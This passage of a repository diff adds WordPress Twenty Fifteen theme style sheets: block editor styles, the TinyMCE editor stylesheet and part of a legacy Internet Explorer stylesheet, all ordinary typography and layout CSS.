+		padding: 0.9em 0 0.45em;
+	}
+
+	.edit-post-visual-editor .editor-block-list__block h3 {
+		font-size: 22px;
+		line-height: 1.3636;
+		padding: 1.1em 0 0.55em;
+	}
+
+	.edit-post-visual-editor .editor-block-list__block h4 {
+		font-size: 18px;
+		line-height: 1.3333;
+		padding: 0.65em 0 0.3em;
+	}
+
+	.edit-post-visual-editor .editor-block-list__block h5,
+	.edit-post-visual-editor .editor-block-list__block h6 {
+		font-size: 15px;
+		line-height: 1.2;
+		padding: 0.8em 0 0.4em;
+	}
+}
+
+@media screen and (min-width: 68.75em) {
+	.edit-post-visual-editor .editor-block-list__block,
+	.edit-post-visual-editor .editor-block-list__block p,
+	.editor-default-block-appender input[type="text"].editor-default-block-appender__content {
+		font-size: 17px;
+		line-height: 1.6471;
+	}
+
+	.editor-post-title__block .editor-post-title__input {
+		font-size: 35px;
+		line-height: 1.2;
+	}
+
+	.edit-post-visual-editor .editor-block-list__block h1 {
+		font-size: 35px;
+		line-height: 1.2;
+		padding: 0.8em 0 0.4em;
+	}
+
+	.edit-post-visual-editor .editor-block-list__block h2 {
+		font-size: 29px;
+		line-height: 1.2069;
+		padding: 1.0em 0 0.5em;
+	}
+
+	.edit-post-visual-editor .editor-block-list__block h3 {
+		font-size: 24px;
+		line-height: 1.1667;
+		padding: 1.2em 0 0.6em;
+	}
+
+	.edit-post-visual-editor .editor-block-list__block h4 {
+		font-size: 20px;
+		line-height: 1.4;
+		padding: 0.7em 0 0.35em;
+	}
+
+	.edit-post-visual-editor .editor-block-list__block h5,
+	.edit-post-visual-editor .editor-block-list__block h6 {
+		font-size: 17px;
+		line-height: 1.2353;
+		padding: 0.8em 0 0.4em;
+	}
+}
+
+@media screen and (min-width: 77.5em) {
+	.edit-post-visual-editor .editor-block-list__block,
+	.edit-post-visual-editor .editor-block-list__block p,
+	.editor-default-block-appender input[type="text"].editor-default-block-appender__content {
+		font-size: 19px;
+		line-height: 1.6842;
+	}
+
+	.editor-post-title__block .editor-post-title__input {
+		font-size: 39px;
+		line-height: 1.2308;
+	}
+
+	.edit-post-visual-editor .editor-block-list__block h3 {
+		font-size: 27px;
+		line-height: 1.1852;
+		padding: 1.2em 0 0.6em;
+	}
+
+	.edit-post-visual-editor .editor-block-list__block h4 {
+		font-size: 22px;
+		line-height: 1.4545;
+		padding: 0.75em 0 0.35em;
+	}
+
+	.edit-post-visual-editor .editor-block-list__block h5,
+	.edit-post-visual-editor .editor-block-list__block h6 {
+		font-size: 19px;
+		line-height: 1.2632;
+		padding: 0.85em 0 0.45em;
+	}
+}
+
+/*--------------------------------------------------------------
+2.0 General Block Styles
+--------------------------------------------------------------*/
+
+/* Main column width */
+
+.editor-styles-wrapper {
+	max-width: 100% !important; /* Override where editor-style.css is affecting this. */
+}
+
+.wp-block {
+	max-width: 690px; /* 660px + 30px to account for padding. */
+}
+
+/* Link styles */
+
+.edit-post-visual-editor a,
+.editor-block-list__block a,
+.wp-block-freeform.block-library-rich-text__tinymce a {
+	border-bottom: 1px solid #333;
+	color: #333;
+	text-decoration: none;
+}
+
+/* List styles */
+
+.edit-post-visual-editor ul:not(.wp-block-gallery),
+.editor-block-list__block ul:not(.wp-block-gallery),
+.block-library-list ul,
+.edit-post-visual-editor ol,
+.editor-block-list__block ol,
+.block-library-list ol {
+	margin: 0 0 1.6em 1.3333em;
+	padding: 0;
+}
+
+.block-library-list .editor-rich-text__tinymce {
+	padding: 0;
+}
+
+.edit-post-visual-editor ul:not(.wp-block-gallery),
+.editor-block-list__block ul:not(.wp-block-gallery),
+.block-library-list ul {
+	list-style: disc;
+}
+
+.edit-post-visual-editor ol,
+.editor-block-list__block ol,
+.block-library-list ol {
+	list-style: decimal;
+}
+
+.edit-post-visual-editor ul:not(.wp-block-gallery) li > ul,
+.editor-block-list__block ul:not(.wp-block-gallery) li > ul,
+.block-library-list li > ul,
+.edit-post-visual-editor li > ol,
+.editor-block-list__block li > ol,
+.block-library-list li > ol {
+	margin-bottom: 0;
+}
+
+.wp-block-freeform.block-library-rich-text__tinymce li,
+.editor-block-list__block li {
+	margin-bottom: 0;
+}
+
+.rtl .edit-post-visual-editor ul:not(.wp-block-gallery),
+.rtl .editor-block-list__block ul:not(.wp-block-gallery),
+.rtl .block-library-list ul,
+.rtl .edit-post-visual-editor ol,
+.rtl .editor-block-list__block ol,
+.rtl .block-library-list ol {
+	margin-left: 0;
+	margin-right: 1.3333em;
+}
+
+/* Quote */
+
+.rtl .editor-block-list__block blockquote {
+	border-left: 0;
+	padding-left: 0;
+}
+
+/* Captions */
+
+[class^="wp-block-"] figcaption {
+	color: #707070;
+	font-family: "Noto Sans", sans-serif;
+	font-size: 12px;
+	margin-bottom: 0;
+	padding: 0.5em 0;
+}
+
+.editor-block-list__block [class^="wp-block-"] figcaption {
+	line-height: 1.5;
+}
+
+@media screen and (min-width: 46.25em) {
+	[class^="wp-block-"] figcaption {
+		font-size: 14px;
+	}
+}
+
+@media screen and (min-width: 55em) {
+	[class^="wp-block-"] figcaption {
+		font-size: 16px;
+	}
+}
+
+@media screen and (min-width: 59.6875em) {
+	[class^="wp-block-"] figcaption {
+		font-size: 12px;
+	}
+}
+
+@media screen and (min-width: 68.75em) {
+	[class^="wp-block-"] figcaption {
+		font-size: 14px;
+	}
+}
+
+@media screen and (min-width: 77.5em) {
+	[class^="wp-block-"] figcaption {
+		font-size: 16px;
+	}
+}
+
+/* Pre */
+
+[class^="wp-block-"] pre {
+	font-size: inherit;
+}
+
+/* Alignments */
+
+.wp-block-quote.alignright,
+.wp-block-freeform.block-library-rich-text__tinymce .alignright {
+	margin: 0.4211em 0 1.6842em 1.6842em;
+}
+
+.wp-block-quote.alignleft,
+.wp-block-freeform.block-library-rich-text__tinymce .alignleft {
+	margin: 0.4211em 1.6842em 1.6842em 0;
+}
+
+/*--------------------------------------------------------------
+3.0 Blocks - Common Blocks
+--------------------------------------------------------------*/
+
+/* Paragraph */
+
+p.has-drop-cap:not(:focus)::first-letter {
+	font-size: 5em;
+}
+
+/* Quotes */
+
+.wp-block-quote,
+.wp-block-freeform.block-library-rich-text__tinymce blockquote {
+	color: #707070;
+	margin-bottom: 1.6667em;
+	padding-left: 0.7778em;
+}
+
+.wp-block-quote:not(.is-large):not(.is-style-large),
+.wp-block-freeform.block-library-rich-text__tinymce blockquote {
+	border-color: #707070;
+}
+
+.edit-post-visual-editor .wp-block-quote p {
+	font-size: 18px;
+	font-style: italic;
+	line-height: 1.6667;
+	margin-bottom: 1.6667em;
+}
+
+.edit-post-visual-editor .wp-block-quote > p:last-child {
+	margin-bottom: 0;
+}
+
+.wp-block-quote__citation {
+	color: #333;
+	font-family: "Noto Sans", sans-serif;
+	font-size: 15px;
+	font-style: normal;
+	line-height: 1.6;
+	text-transform: none;
+}
+
+.wp-block-quote em,
+.wp-block-quote i {
+	font-style: normal;
+}
+
+.wp-block-quote strong,
+.wp-block-quote b {
+	font-weight: 400;
+}
+
+@media screen and (min-width: 46.25em) {
+	.edit-post-visual-editor .wp-block-quote p {
+		font-size: 20px;
+		line-height: 1.75;
+	}
+
+	.wp-block-quote__citation {
+		font-size: 17px;
+		line-height: 1.6471;
+	}
+}
+
+@media screen and (min-width: 55em) {
+	.edit-post-visual-editor .wp-block-quote p {
+		font-size: 22px;
+		line-height: 1.8182;
+	}
+
+	.wp-block-quote__citation {
+		font-size: 19px;
+		line-height: 1.6842;
+	}
+}
+
+@media screen and (min-width: 59.6875em) {
+	.edit-post-visual-editor .wp-block-quote p {
+		font-size: 18px;
+		line-height: 1.6667;
+	}
+
+	.wp-block-quote__citation {
+		font-size: 15px;
+		line-height: 1.6;
+	}
+}
+
+@media screen and (min-width: 68.75em) {
+	.edit-post-visual-editor .wp-block-quote p {
+		font-size: 20px;
+		line-height: 1.75;
+	}
+
+	.wp-block-quote__citation {
+		font-size: 17px;
+		line-height: 1.6471;
+	}
+}
+
+@media screen and (min-width: 77.5em) {
+	.edit-post-visual-editor .wp-block-quote p {
+		font-size: 22px;
+		line-height: 1.8182;
+	}
+
+	.wp-block-quote__citation {
+		font-size: 19px;
+		line-height: 1.6842;
+	}
+}
+
+/* Cover */
+
+.edit-post-visual-editor .editor-block-list__block .wp-block-cover-image p,
+.edit-post-visual-editor .editor-block-list__block .wp-block-cover p,
+.wp-block-cover-image h2,
+.wp-block-cover h2 {
+	font-size: 29px;
+	line-height: 1.2069;
+}
+
+/* File */
+
+.wp-block-file .editor-rich-text__tinymce {
+	border-bottom: 1px solid #333;
+}
+
+.wp-block-file .wp-block-file__button {
+	background-color: #333;
+	border: 0;
+	border-radius: 0;
+	color: #fff;
+	cursor: pointer;
+	font-family: "Noto Sans", sans-serif;
+	font-size: 12px;
+	font-weight: 700;
+	line-height: 1.5;
+	padding: 0.7917em 1.5em;
+	text-transform: uppercase;
+	vertical-align: baseline;
+}
+
+@media screen and (min-width: 46.25em) {
+	.wp-block-file .wp-block-file__button {
+		font-size: 14px;
+		padding: 0.8214em 1.6429em;
+	}
+}
+
+@media screen and (min-width: 55em) {
+	.wp-block-file .wp-block-file__button {
+		font-size: 16px;
+		padding: 0.8125em 1.625em;
+	}
+}
+
+@media screen and (min-width: 59.6875em) {
+	.wp-block-file .wp-block-file__button {
+		font-size: 12px;
+		padding: 0.7917em 1.5833em;
+	}
+}
+
+@media screen and (min-width: 68.75em) {
+	.wp-block-file .wp-block-file__button {
+		font-size: 14px;
+		padding: 0.8214em 1.5714em;
+	}
+}
+
+@media screen and (min-width: 77.5em) {
+	.wp-block-file .wp-block-file__button {
+		font-size: 16px;
+		padding: 0.8125em 1.625em;
+	}
+}
+
+/*--------------------------------------------------------------
+4.0 Blocks - Formatting
+--------------------------------------------------------------*/
+
+/* Code */
+
+.wp-block-code,
+.wp-block-freeform.block-library-rich-text__tinymce code {
+	background: transparent;
+	border: 0;
+	padding: 0;
+}
+
+/* Pullquote */
+
+.wp-block-pullquote,
+.editor-block-list__block .wp-block-pullquote blockquote {
+	border: 0;
+	margin: 0;
+	padding-left: 0;
+}
+
+.wp-block-pullquote .wp-block-pullquote__citation {
+	color: #333;
+	font-family: "Noto Sans", sans-serif;
+	font-size: 15px;
+	font-style: normal;
+	line-height: 1.6;
+	text-transform: none;
+}
+
+@media screen and (min-width: 46.25em) {
+	.wp-block-pullquote .wp-block-pullquote__citation {
+		font-size: 17px;
+		line-height: 1.6471;
+	}
+}
+
+@media screen and (min-width: 55em) {
+	.wp-block-pullquote .wp-block-pullquote__citation {
+		font-size: 19px;
+		line-height: 1.6842;
+	}
+}
+
+@media screen and (min-width: 59.6875em) {
+	.wp-block-pullquote .wp-block-pullquote__citation {
+		font-size: 15px;
+		line-height: 1.6;
+	}
+}
+
+@media screen and (min-width: 68.75em) {
+	.wp-block-pullquote .wp-block-pullquote__citation {
+		font-size: 17px;
+		line-height: 1.6471;
+	}
+}
+
+@media screen and (min-width: 77.5em) {
+	.wp-block-pullquote .wp-block-pullquote__citation {
+		font-size: 19px;
+		line-height: 1.6842;
+	}
+}
+
+/* Tables */
+
+.editor-block-list__block .wp-block-table th,
+.editor-block-list__block .wp-block-table td {
+	padding: 0;
+}
+
+.rtl .editor-block-list__block .wp-block-table th {
+	text-align: right;
+}
+
+/*--------------------------------------------------------------
+5.0 Blocks - Layout Elements
+--------------------------------------------------------------*/
+
+/* Button */
+
+.wp-block-button .wp-block-button__link {
+	cursor: pointer;
+	font-family: "Noto Sans", sans-serif;
+	font-size: 12px;
+	font-weight: 700;
+	line-height: 1.5;
+	padding: 0.7917em 1.5em;
+	text-transform: uppercase;
+	vertical-align: baseline;
+}
+
+.wp-block-button__link {
+	background-color: #333;
+	color: #fff;
+}
+
+.is-style-outline .wp-block-button__link {
+	color: #333;
+}
+
+@media screen and (min-width: 46.25em) {
+	.wp-block-button .wp-block-button__link {
+		font-size: 14px;
+		padding: 0.8214em 1.6429em;
+	}
+}
+
+@media screen and (min-width: 55em) {
+	.wp-block-button .wp-block-button__link {
+		font-size: 16px;
+		padding: 0.8125em 1.625em;
+	}
+}
+
+@media screen and (min-width: 59.6875em) {
+	.wp-block-button .wp-block-button__link {
+		font-size: 12px;
+		padding: 0.7917em 1.5833em;
+	}
+}
+
+@media screen and (min-width: 68.75em) {
+	.wp-block-button .wp-block-button__link {
+		font-size: 14px;
+		padding: 0.8214em 1.5714em;
+	}
+}
+
+@media screen and (min-width: 77.5em) {
+	.wp-block-button .wp-block-button__link {
+		font-size: 16px;
+		padding: 0.8125em 1.625em;
+	}
+}
+
+/* Seperator */
+
+.wp-block-separator {
+	max-width: 100px;
+}
+
+.wp-block-separator.is-style-wide {
+	max-width: 100%;
+}
+
+/* Media & Text */
+
+.wp-block-media-text *:last-child {
+	margin-bottom: 0;
+}
+
+
+/*--------------------------------------------------------------
+6.0 Blocks - Widgets
+--------------------------------------------------------------*/
+
+/* Archives, Categories & Latest Posts */
+
+[data-align="center"] .wp-block-archives ul,
+[data-align="center"] .wp-block-categories ul,
+[data-align="center"] .wp-block-latest-posts ul {
+	list-style-position: inside;
+}
+
+
+/* Latest Comments */
+
+.wp-block-latest-comments {
+	margin: 0;
+}
+
+.wp-block-latest-comments__comment,
+.wp-block-latest-comments__comment-excerpt,
+.wp-block-latest-comments__comment-excerpt p {
+	font-size: inherit;
+}
+
+.wp-block-latest-comments__comment-meta a {
+	border-bottom-color: transparent;
+	font-weight: 700;
+}
+
+.wp-block-latest-comments__comment-excerpt p:last-child {
+	margin-bottom: 0;
+}
+
+.wp-block-latest-comments__comment-date {
+	color: #707070;
+	font-family: "Noto Sans", sans-serif;
+	font-size: 12px;
+	line-height: 1.5;
+	margin-bottom: 1.6em;
+}
+
+@media screen and (min-width: 46.25em) {
+	.wp-block-latest-comments__comment-date {
+		font-size: 14px;
+	}
+}
+
+@media screen and (min-width: 55em) {
+	.wp-block-latest-comments__comment-date {
+		font-size: 16px;
+	}
+}
+
+@media screen and (min-width: 59.6875em) {
+	.wp-block-latest-comments__comment-date {
+		font-size: 12px;
+	}
+}
+
+@media screen and (min-width: 68.75em) {
+	.wp-block-latest-comments__comment-date {
+		font-size: 14px;
+	}
+}
+
+@media screen and (min-width: 77.5em) {
+	.wp-block-latest-comments__comment-date {
+		font-size: 16px;
+	}
+}
+
+.wp-block-latest-comments .wp-block-latest-comments__comment {
+	border-top: 1px solid #eaeaea;
+	border-top: 1px solid rgba(51, 51, 51, 0.1);
+	margin-bottom: 0;
+	padding: 1.6em 0;
+}
+
+/* Latest Posts */
+
+.edit-post-visual-editor .wp-block-latest-posts.is-grid {
+	list-style: none;
+	margin-left: 0;
+	margin-right: 0;
+}
+
+.edit-post-visual-editor .wp-block-latest-posts.is-grid li {
+	margin-bottom: 16px;
+}
Index: /tags/5.0.20/src/wp-content/themes/twentyfifteen/css/editor-style.css
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyfifteen/css/editor-style.css	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyfifteen/css/editor-style.css	(revision 56912)
@@ -0,0 +1,482 @@
+/*
+Theme Name: Twenty Fifteen
+Description: Used to style the TinyMCE editor.
+*/
+
+
+/**
+ * Table of Contents:
+ *
+ * 1.0 - Body
+ * 2.0 - Typography
+ * 3.0 - Elements
+ * 4.0 - Alignment
+ * 5.0 - Caption
+ * 6.0 - Galleries
+ * 7.0 - Audio / Video
+ * 8.0 - RTL
+ */
+
+
+/**
+ * 1.0 Body
+ */
+
+body {
+	color: #333;
+	font-family: "Noto Serif", serif;
+	font-weight: 400;
+	font-size: 17px;
+	line-height: 1.6471;
+	margin: 20px 40px;
+	max-width: 660px;
+	vertical-align: baseline;
+}
+
+
+/**
+ * 2.0 Typography
+ */
+
+h1,
+h2,
+h3,
+h4,
+h5,
+h6 {
+	clear: both;
+	font-weight: 700;
+	margin: 56px 0 28px;
+}
+
+h1 {
+	font-size: 35px;
+	line-height: 1.2308;
+}
+
+h2 {
+	font-size: 29px;
+	line-height: 1.2069;
+}
+
+h3 {
+	font-size: 24px;
+	line-height: 1.1667;
+}
+
+h4 {
+	font-size: 20px;
+	line-height: 1.4;
+}
+
+h5,
+h6 {
+	font-size: 17px;
+	letter-spacing: 0.1em;
+	line-height: 1.2353;
+	text-transform: uppercase;
+}
+
+h1:first-child,
+h2:first-child,
+h3:first-child,
+h4:first-child,
+h5:first-child,
+h6:first-child {
+	margin-top: 0;
+}
+
+p {
+	margin: 0 0 28px;
+}
+
+b,
+strong {
+	font-weight: 700;
+}
+
+dfn,
+cite,
+em,
+i {
+	font-style: italic;
+}
+
+blockquote {
+	border-left: 4px solid #707070;
+	color: #707070;
+	font-size: 20px;
+	font-style: italic;
+	line-height: 1.8182;
+	margin: 0 0 35px -21px;
+	padding-left: 17px;
+}
+
+blockquote > blockquote {
+	margin-left: 0;
+}
+
+blockquote p {
+	margin-bottom: 35px;
+}
+
+blockquote > p:last-child {
+	margin-bottom: 0;
+}
+
+blockquote cite,
+blockquote small {
+	color: #333;
+	font-family: "Noto Sans", sans-serif;
+	font-size: 17px;
+	line-height: 1.6471;
+}
+
+blockquote em,
+blockquote i,
+blockquote cite {
+	font-style: normal;
+}
+
+blockquote strong,
+blockquote b {
+	font-weight: 400;
+}
+
+address {
+	font-style: italic;
+	margin: 0 0 28px;
+}
+
+code,
+kbd,
+tt,
+var,
+samp,
+pre {
+	font-family: Inconsolata, monospace;
+}
+
+pre {
+	background-color: #fcfcfc;
+	border: 1px solid #eaeaea;
+	font-size: 17px;
+	line-height: 1.2353;
+	margin-bottom: 28px;
+	max-width: 100%;
+	overflow: auto;
+	padding: 14px;
+	white-space: pre;
+	white-space: pre-wrap;
+	word-wrap: break-word;
+}
+
+abbr[title] {
+	border-bottom: 1px dotted #eaeaea;
+	cursor: help;
+}
+
+mark,
+ins {
+	background-color: #fff9c0;
+	text-decoration: none;
+}
+
+sup,
+sub {
+	font-size: 75%;
+	height: 0;
+	line-height: 0;
+	position: relative;
+	vertical-align: baseline;
+}
+
+sup {
+	bottom: 1ex;
+}
+
+sub {
+	top: .5ex;
+}
+
+small {
+	font-size: 75%;
+}
+
+big {
+	font-size: 125%;
+}
+
+
+/**
+ * 3.0 Elements
+ */
+
+hr {
+	background-color: #eaeaea;
+	border: 0;
+	height: 1px;
+	margin-bottom: 28px;
+}
+
+ul,
+ol {
+	margin: 0 0 28px 0;
+	padding: 0;
+}
+
+ul {
+	list-style: disc;
+}
+
+ol {
+	list-style: decimal;
+}
+
+li > ul,
+li > ol {
+	margin: 0 0 0 23px;
+}
+
+blockquote > ul,
+blockquote > ol {
+	margin-left: 28px;
+}
+
+dl {
+	margin: 0 0 28px;
+}
+
+dt {
+	font-weight: bold;
+}
+
+dd {
+	margin: 0 0 28px;
+}
+
+table,
+th,
+td,
+.mce-item-table,
+.mce-item-table th,
+.mce-item-table td {
+	border: 1px solid #eaeaea;
+}
+
+table a {
+	color: #333;
+}
+
+table,
+.mce-item-table {
+	border-collapse: separate;
+	border-spacing: 0;
+	border-width: 1px 0 0 1px;
+	margin: 0 0 28px;
+	width: 100%;
+}
+
+table th,
+.mce-item-table th,
+table caption {
+	border-width: 0 1px 1px 0;
+	font-family: "Noto Serif", serif;
+	font-size: 17px;
+	font-weight: 700;
+	padding: 7px;
+	text-align: left;
+	vertical-align: baseline;
+}
+
+table td,
+.mce-item-table td {
+	border-width: 0 1px 1px 0;
+	font-family: "Noto Serif", serif;
+	font-size: 17px;
+	padding: 7px;
+	vertical-align: baseline;
+}
+
+img {
+	border: 0;
+	height: auto;
+	max-width: 100%;
+	vertical-align: middle;
+}
+
+figure {
+	margin: 0;
+}
+
+del {
+	opacity: 0.8;
+}
+
+a {
+	border-bottom: 1px solid #333;
+	color: #333;
+	text-decoration: none;
+}
+
+
+/**
+ * 4.0 Alignment
+ */
+
+.alignleft {
+	float: left;
+	margin: 7px 28px 28px 0;
+}
+
+.alignright {
+	float: right;
+	margin: 7px 0 28px 28px;
+}
+
+.aligncenter {
+	clear: both;
+	display: block;
+	margin: 7px auto;
+}
+
+
+/**
+ * 5.0 Caption
+ */
+
+.wp-caption {
+	background: transparent;
+	border: none;
+	color: #707070;
+	font-family: "Noto Sans", sans-serif;
+	margin: 0 0 28px 0;
+	max-width: 100%;
+	padding: 0;
+	text-align: inherit;
+}
+
+.wp-caption.alignleft {
+	margin: 7px 28px 21px 0;
+}
+
+.wp-caption.alignright {
+	margin: 7px 0 21px 28px;
+}
+
+.wp-caption.aligncenter {
+	margin: 7px auto;
+}
+
+.wp-caption .wp-caption-text,
+.wp-caption-dd {
+	font-size: 14px;
+	line-height: 1.5;
+	padding: 7px 0;
+}
+
+
+/**
+ * 6.0 Galleries
+ */
+
+.gallery-item {
+	display: inline-block;
+	padding: 1.79104477%;
+	text-align: center;
+	vertical-align: top;
+	width: 100%;
+}
+
+.gallery-columns-2 .gallery-item {
+	max-width: 50%;
+}
+
+.gallery-columns-3 .gallery-item {
+	max-width: 33.33%;
+}
+
+.gallery-columns-4 .gallery-item {
+	max-width: 25%;
+}
+
+.gallery-columns-5 .gallery-item {
+	max-width: 20%;
+}
+
+.gallery-columns-6 .gallery-item {
+	max-width: 16.66%;
+}
+
+.gallery-columns-7 .gallery-item {
+	max-width: 14.28%;
+}
+
+.gallery-columns-8 .gallery-item {
+	max-width: 12.5%;
+}
+
+.gallery-columns-9 .gallery-item {
+	max-width: 11.11%;
+}
+
+.gallery .gallery-caption {
+	color: #707070;
+	display: block;
+	font-family: "Noto Sans", sans-serif;
+	font-size: 14px;
+	line-height: 1.5;
+	padding: 7px 0;
+}
+
+.gallery-columns-6 .gallery-caption,
+.gallery-columns-7 .gallery-caption,
+.gallery-columns-8 .gallery-caption,
+.gallery-columns-9 .gallery-caption {
+	display: none;
+}
+
+
+/**
+ * 7.0 Audio / Video
+ */
+
+.mce-content-body .wpview-wrap {
+	margin-bottom: 32px;
+}
+
+.mce-content-body .wp-audio-playlist {
+	margin: 0;
+}
+
+
+/**
+ * 8.0 RTL
+ */
+
+body.rtl {
+	font-family: Arial, Tahoma, sans-serif;
+}
+
+.rtl blockquote {
+	border-left: none;
+	border-right: 4px solid #707070;
+	margin: 0 -21px 35px 0;
+	padding-left: 0;
+	padding-right: 17px;
+}
+
+.rtl blockquote > blockquote {
+	margin-left: auto;
+	margin-right: 0;
+}
+
+.rtl li > ul,
+.rtl li > ol {
+	margin: 0 23px 0 0;
+}
+
+.rtl table th,
+.rtl table caption {
+	text-align: right;
+}
Index: /tags/5.0.20/src/wp-content/themes/twentyfifteen/css/ie.css
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyfifteen/css/ie.css	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyfifteen/css/ie.css	(revision 56912)
@@ -0,0 +1,948 @@
+/*
+Theme Name: Twenty Fifteen
+Description: Global Styles for older IE versions (previous to IE9).
+*/
+
+body,
+button,
+input,
+select,
+textarea {
+	font-size: 19px;
+	line-height: 1.6842;
+}
+
+button,
+input {
+	line-height: normal;
+}
+
+p,
+address,
+pre,
+hr,
+ul,
+ol,
+dl,
+dd,
+table {
+	margin-bottom: 1.6842em;
+}
+
+ul,
+ol {
+	margin-left: 0;
+}
+
+li > ul,
+li > ol,
+blockquote > ul,
+blockquote > ol {
+	margin-left: 1.3333em;
+}
+
+blockquote {
+	border-color: inherit;
+	border-style: solid;
+	border-width: 0 0 0 4px;
+	font-size: 22px;
+	line-height: 1.8182;
+	margin-bottom: 1.8182em;
+	margin-left: -1.0909em;
+	padding-left: 0.9091em;
+}
+
+blockquote > blockquote {
+	margin-left: 0;
+}
+
+blockquote p {
+	margin-bottom: 1.8182em;
+}
+
+blockquote cite,
+blockquote small {
+	font-size: 19px;
+	line-height: 1.6842;
+}
+
+pre {
+	line-height: 1.2632;
+}
+
+.entry-content img,
+.entry-summary img,
+.page-content img,
+.comment-content img,
+.widget img {
+	max-width: 660px;
+}
+
+img.size-full,
+img.size-large,
+img.header-image,
+img.wp-post-image,
+img[class*="align"],
+img[class*="wp-image-"],
+img[class*="attachment-"] {
+	height: auto;
+	width: auto; /* Prevent stretching of full-size and large-size images with height and width attributes in IE8 */
+}
+
+button,
+input[type="button"],
+input[type="reset"],
+input[type="submit"],
+.post-password-form input[type="submit"],
+.widecolumn #submit,
+.widecolumn .mu_register input[type="submit"] {
+	font-size: 16px;
+	padding: 0.8125em 1.625em;
+}
+
+input[type="text"],
+input[type="email"],
+input[type="url"],
+input[type="password"],
+input[type="search"],
+textarea {
+	padding: 0.5278em;
+}
+
+.main-navigation {
+	font-size: 16px;
+	line-height: 1.5;
+	margin: 9.0909%;
+}
+
+.main-navigation ul ul {
+	border-bottom: 0;
+	border-top: 0;
+	margin-left: 1em;
+}
+
+.main-navigation a {
+	padding: 0.75em 0;
+}
+
+.main-navigation .menu-item-has-children > a {
+	padding-right: 48px;
+}
+
+.main-navigation .menu-item-description {
+	font-size: 13px;
+	line-height: 1.8462;
+	margin-top: 0;
+}
+
+.social-navigation {
+	margin: 9.0909%;
+	max-width: 660px;
+	padding-top: 0;
+}
+
+.social-navigation ul {
+	margin-bottom: -1.2632em;
+}
+
+.social-navigation a {
+	width: 2.5263em;
+	height: 2.5263em;
+}
+
+.secondary-toggle {
+	margin-top: -32px;
+	right: 7.6897%;
+	width: 64px;
+	height: 64px;
+}
+
+.secondary-toggle:before {
+	line-height: 64px;
+}
+
+.post-password-form label,
+.post-navigation .meta-nav,
+.comment-navigation,
+.image-navigation,
+.author-heading,
+.author-bio,
+.entry-footer,
+.page-links a,
+.page-links span,
+.comment-metadata,
+.pingback .edit-link,
+.comment-list .reply,
+.comment-notes,
+.comment-awaiting-moderation,
+.logged-in-as,
+.comment-form label,
+.form-allowed-tags,
+.site-info,
+.wp-caption-text,
+.gallery-caption,
+.entry-caption,
+.widecolumn label,
+.widecolumn .mu_register label {
+	font-size: 16px;
+}
+
+.post-navigation .post-title {
+	font-size: 24px;
+	line-height: 1.1667;
+}
+
+.pagination .nav-links {
+	min-height: 3.3684em;
+}
+
+.pagination .page-numbers {
+	line-height: 3.3684em;
+	padding: 0 0.8421em;
+}
+
+.pagination .prev,
+.pagination .next {
+	padding: 0;
+	width: 64px;
+	height: 64px;
+}
+
+.pagination .prev:before,
+.pagination .next:before {
+	line-height: 64px;
+	width: 64px;
+	height: 64px;
+}
+
+.image-navigation a {
+	display: block;
+	margin-bottom: 2em;
+}
+
+.image-navigation .nav-previous,
+.comment-navigation .nav-previous {
+	float: left;
+	width: 50%;
+}
+.image-navigation .nav-next,
+.comment-navigation .nav-next {
+	float: right;
+	text-align: right;
+	width: 50%;
+}
+
+.image-navigation .nav-previous a:before,
+.image-navigation .nav-next a:after,
+.comment-navigation .nav-previous a:before,
+.comment-navigation .nav-next a:after {
+	font-size: 24px;
+	top: -1px;
+}
+
+blockquote.alignleft,
+.wp-caption.alignleft,
+img.alignleft {
+	margin: 0.4211em 1.6842em 1.6842em 0;
+}
+
+blockquote.alignright,
+.wp-caption.alignright,
+img.alignright {
+	margin: 0.4211em 0 1.6842em 1.6842em;
+}
+
+blockquote.aligncenter,
+.wp-caption.aligncenter,
+img.aligncenter {
+	margin-top: 0.4211em;
+	margin-bottom: 1.6842em;
+}
+
+.site-header {
+	border-top: 1px solid transparent;
+	border-bottom: 1px solid transparent;
+	padding: 0;
+}
+
+.secondary {
+	background-color: #fff;
+	margin: 0 auto;
+	max-width: 807px;
+	padding: 0;
+}
+
+.site-main {
+	padding: 7.6923% 0;
+}
+
+.site-content {
+	margin: 0 auto;
+	max-width: 954px;
+}
+
+.site-branding {
+	background-color: inherit;
+	margin: 0 auto;
+	max-width: 954px;
+	padding: 0;
+}
+
+.site-title {
+	font-size: 32px;
+	line-height: 1.25;
+	margin: 7.6897% 7.6897% 0;
+}
+
+.site-description {
+	background-color: inherit;
+	display: block;
+	filter: alpha(opacity=70);
+	font-size: 16px;
+	margin: 0.5em 7.6897% 7.6897%;
+}
+
+.sidebar {
+	position: static !important;
+}
+
+.widget-area {
+	clear: both;
+	margin: 9.0909% 9.0909% 0;
+	max-width: 660px;
+}
+
+.widget {
+	font-size: 16px;
+	margin: 0 0 11.1111%;
+}
+
+.widget p,
+.widget address,
+.widget hr,
+.widget ul,
+.widget ol,
+.widget dl,
+.widget dd,
+.widget table,
+.widget pre {
+	margin-bottom: 1.5em;
+}
+
+.widget li > ul,
+.widget li > ol {
+	margin-bottom: 0;
+}
+
+.widget blockquote {
+	font-size: 19px;
+	line-height: 1.6842;
+	margin-bottom: 1.6842em;
+	margin-left: -1.2632em;
+	padding-left: 1.0526em;
+}
+
+.widget blockquote > blockquote {
+	margin-left: 0;
+}
+
+.widget blockquote p {
+	margin-bottom: 1.6842em;
+}
+
+.widget blockquote cite,
+.widget blockquote small {
+	font-size: 16px;
+	line-height: 1.5;
+}
+
+.widget pre {
+	line-height: 1.5;
+	padding: 0.75em;
+}
+
+.widget button,
+.widget input,
+.widget select,
+.widget textarea {
+	line-height: 1.5;
+}
+
+.widget button,
+.widget input {
+	line-height: normal;
+}
+
+.widget button,
+.widget input[type="button"],
+.widget input[type="reset"],
+.widget input[type="submit"] {
+	font-size: 16px;
+	padding: 0.8125em 1.625em;
+}
+
+.widget input[type="text"],
+.widget input[type="email"],
+.widget input[type="url"],
+.widget input[type="password"],
+.widget input[type="search"],
+.widget textarea {
+	padding: 0.75em;
+}
+
+.widget-title {
+	margin: 0 0 1.5em;
+}
+
+.widget_calendar td,
+.widget_calendar th {
+	line-height: 2.9375;
+}
+
+.widget_calendar caption {
+	margin: 0 0 1.5em;
+}
+
+.widget_archive li,
+.widget_categories li,
+.widget_links li,
+.widget_meta li,
+.widget_nav_menu li,
+.widget_pages li,
+.widget_recent_comments li,
+.widget_recent_entries li {
